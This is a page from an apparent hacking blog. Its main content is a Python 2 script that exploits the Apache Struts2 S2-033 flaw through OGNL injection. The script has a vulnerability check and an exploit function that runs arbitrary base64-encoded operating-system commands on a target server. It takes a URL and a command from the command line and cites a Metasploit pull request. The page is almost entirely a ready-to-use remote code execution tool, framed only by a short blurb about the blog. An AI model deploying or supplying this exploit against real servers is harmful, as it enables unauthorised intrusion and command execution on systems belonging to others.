Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86385513

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import random
import base64


upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]


def rand_base(length, bad, chars):
    '''generate a random string with chars collection'''
    cset = (set(chars) - set(list(bad)))
    if len(cset) == 0:
        return ""
    chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
    chars = map(str, chars)
    return "".join(chars)


def rand_char(bad='', chars=allchars):
    '''generate a random char with chars collection'''
    return rand_base(1, bad, chars)


def rand_text(length, bad='', chars=allchars):
    '''generate a random string (cab be with unprintable chars)'''
    return rand_base(length, bad, chars)


def rand_text_alpha(length, bad=''):
    '''generate a random string with alpha chars'''
    chars = upperAlpha + lowerAlpha
    return rand_base(length, bad, set(chars))


def rand_text_alpha_lower(length, bad=''):
    '''generate a random lower string with alpha chars'''
    return rand_base(length, bad, set(lowerAlpha))


def rand_text_alpha_upper(length, bad=''):
    '''generate a random upper string with alpha chars'''
    return rand_base(length, bad, set(upperAlpha))


def rand_text_alphanumeric():
    '''generate a random string with alpha and numerals chars'''
    chars = upperAlpha + lowerAlpha + numerals
    return rand_base(length, bad, set(chars))


def rand_text_numeric(length, bad=''):
    '''generate a random string with numerals chars'''
    return rand_base(length, bad, set(numerals))


def generate_rce_payload(code):
    '''generate apache struts2 s2-033 payload.
    '''
    payload = ""
    payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload += ","
    payload += requests.utils.quote(code)
    payload += ","
    payload += requests.utils.quote("#xx.toString.json")
    payload += "?"
    payload += requests.utils.quote("#xx:#request.toString")
    return payload


def check(url):
    '''check if url is vulnerable to apache struts2 S2-033.
    '''
    var_a = rand_text_alpha(4)
    var_b = rand_text_alpha(4)
    flag = rand_text_alpha(5)

    addend_one = int(rand_text_numeric(2))
    addend_two = int(rand_text_numeric(2))
    addend_sum = addend_one + addend_two

    code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code += "#{var_a}.print(#parameters.{var_b}[0]),"
    code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
    code += "#{var_a}.print(#parameters.{var_b}[0]),"
    code += "#{var_a}.close()"

    payload = generate_rce_payload(code.format(
        var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
    ))

    url = url + "/" + payload
    resp = requests.post(url, data={ var_b: flag }, timeout=8)

    vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
    if resp and resp.status_code == 200 and vul_flag in resp.text:
        return True, resp.text

    return False, ''


def exploit(url, cmd):
    '''exploit url with apache struts2 S2-033.
    '''
    var_a = rand_text_alpha(4)
    var_b = rand_text_alpha(4)   # cmd

    code =  "#{var_a}=new sun.misc.BASE64Decoder(),"
    # code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))"  # Error 500

    code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
    code += "#wr.println(#rs),#wr.flush(),#wr.close()"

    payload = generate_rce_payload(code.format(
        var_a=var_a, var_b=var_b
    ))

    url = url + "/" + payload
    requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)



if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("[*] python {} <url> <cmd>".format(sys.argv[0]))
        sys.exit(1)

    url = sys.argv[1]
    cmd = sys.argv[2]

    print(check(url))
    exploit(url, cmd)


## References

# 1. https://github.com/rapid7/metasploit-framework/pull/6945